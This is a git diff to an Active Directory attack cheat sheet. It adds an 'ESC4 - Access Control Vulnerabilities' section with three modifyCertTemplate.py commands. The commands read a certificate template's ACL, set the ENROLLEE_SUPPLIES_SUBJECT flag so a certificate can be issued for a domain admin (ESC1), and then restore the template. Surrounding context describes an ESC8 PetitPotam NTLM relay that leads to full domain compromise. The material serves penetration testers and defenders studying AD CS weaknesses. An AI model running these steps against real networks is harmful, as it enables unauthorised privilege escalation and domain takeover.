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ESC4 - Access Control Vulnerabilities

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Swissky 2021-12-29 15:00:22 +01:00
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Methodology and Resources/Active Directory Attack.md
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@ -75,6 +75,7 @@
- [Active Directory Certificate Services](#active-directory-certificate-services)
- [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
- [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
- [ESC4 - Access Control Vulnerabilities](#esc4---access-control-vulnerabilities)
- [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
@ -2232,6 +2233,22 @@ Exploitation:
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
#### ESC4 - Access Control Vulnerabilities
* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
```
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
```
* Perform ESC1 and then restore the value
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
```
#### ESC8 - AD CS Relay Attack
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
@ -3399,3 +3416,4 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)
* [sAMAccountName spoofing - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing)
* [CVE-2021-42287/CVE-2021-42278 Weaponisation - @exploitph](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)
* [ADCS: Playing with ESC4 - Matthew Creel](https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4)